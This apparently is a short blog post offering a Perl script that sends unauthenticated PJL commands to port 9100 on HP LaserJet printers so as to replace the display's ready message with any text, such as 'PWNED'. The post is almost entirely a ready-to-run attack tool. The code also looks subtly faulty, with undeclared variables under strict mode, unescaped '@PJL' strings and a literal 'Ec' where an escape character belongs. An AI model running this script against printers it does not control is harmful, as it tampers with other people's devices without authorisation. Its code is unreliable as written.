By running this script, you can change that message without having to authenticate or do anything special.
#!/usr/bin/perl
# this will change the ready message on most (all?) hp laserjets that
# use jetdirect software and have the little LCD display
# - nwo - 4/26/2008
use strict;
use warnings;
use IO::Socket::INET;
if($ARGV[0] eq "") {
print "usage: $0 (ip) (message)\n";
print "Example: $0 192.168.0.44 PWNED\n";
exit(0);
}
$ip = $ARGV[0];
$msg = $ARGV[1];
$socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => 9100) or die "$!";
print $socket "Ec%-12345X\@PJL JOB\n";
print $socket "@PJL RDYMSG DISPLAY=\"$msg\"\n";
print $socket "@PJL EOJ\n";
print $socket "Ec%-12345X\n";
close($socket);
print "$ip has been successfully changed to $msg\n";
No comments:
Post a Comment